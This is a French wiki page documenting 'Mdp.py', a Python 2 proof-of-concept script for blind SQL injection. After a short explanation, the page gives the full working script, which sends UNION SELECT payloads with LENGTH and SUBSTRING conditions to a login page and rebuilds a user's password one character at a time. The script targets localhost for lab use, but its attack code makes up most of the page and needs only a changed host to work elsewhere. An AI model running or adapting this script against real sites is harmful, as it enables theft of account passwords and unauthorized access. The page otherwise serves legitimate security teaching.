Mdp.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Sécurité offensive — injection SQL aveugle (blind SQLi)
Type Script Python 2 (proof of concept)
Modules httplib, urllib, sys
Voir aussi Nb chp.py · Renommons blind.py · Test de penetration

Mdp.py est un script de démonstration d'injection SQL aveugle (blind SQL injection). Il exploite une différence de comportement d'une page d'authentification pour reconstituer, caractère par caractère, le mot de passe d'un utilisateur : d'abord la longueur du mot de passe, puis chaque caractère via une clause SUBSTRING.

Le script cible ici localhost à des fins de laboratoire. Il est écrit pour Python 2 (module httplib, instruction print).

Principe

  1. Pour chaque longueur candidate, on injecte une condition LENGTH(motdepasse)=n et on observe la réponse de la page pour déduire la vraie longueur.
  2. Une fois la longueur connue, pour chaque position on teste chaque caractère de l'alphabet via SUBSTRING(motdepasse,1,n) jusqu'à trouver celui qui déclenche la réponse « valide ».

Script

#!/usr/bin/python
# -*- coding:utf-8 -*-

# script de blind injection
# détermination du mot de passe d'un utilisateur

import httplib, urllib, sys

site = "localhost"                  # adresse du site à attaquer
port = 80                           # port du site à attaquer
page = "/eni/identification.php"    # page à appeler
carac = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789#.?!*"
login = sys.argv[1]
mdp = ''
longueur = 1

# recherche de la longueur du mot de passe
for longueur in range(1, 10):
    injection = "' UNION SELECT nom, prenom FROM utilisateurs WHERE identifiant='" + login + "' AND LENGTH(motdepasse)=" + str(longueur) + "#"
    print injection
    parametres = urllib.urlencode({'identif': 'fasm', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
    conn = httplib.HTTPConnection(site + ":" + str(port))
    conn.request("POST", page, parametres, headers)
    rep = conn.getresponse()
    page_retour = rep.read()
    if "Vérifiez" in page_retour:
        lmdp = longueur
        break

print "La longueur du mot de passe de <" + login + "> est : " + str(lmdp)

# recherche du mot de passe caractère par caractère
for n in range(1, lmdp + 1):
    for c in range(0, len(carac)):
        injection = "' UNION SELECT nom, prenom FROM utilisateurs WHERE identifiant='" + login + "' AND SUBSTRING(motdepasse,1," + str(n) + ")='" + mdp + carac[c:c + 1] + "'#"
        print injection
        parametres = urllib.urlencode({'identif': 'koreth', 'mdp': injection, 'ref': 'identification', 'valider': 'Valider'})
        headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
        conn = httplib.HTTPConnection(site + ":" + str(port))
        conn.request("POST", page, parametres, headers)
        rep = conn.getresponse()
        page_retour = rep.read()
        if 'Vérifiez' in page_retour:
            mdp = mdp + carac[c:c + 1]
            break

print "Le mot de passe correspondant à l'identifiant <" + login + "> est : " + mdp
conn.close()

Voir aussi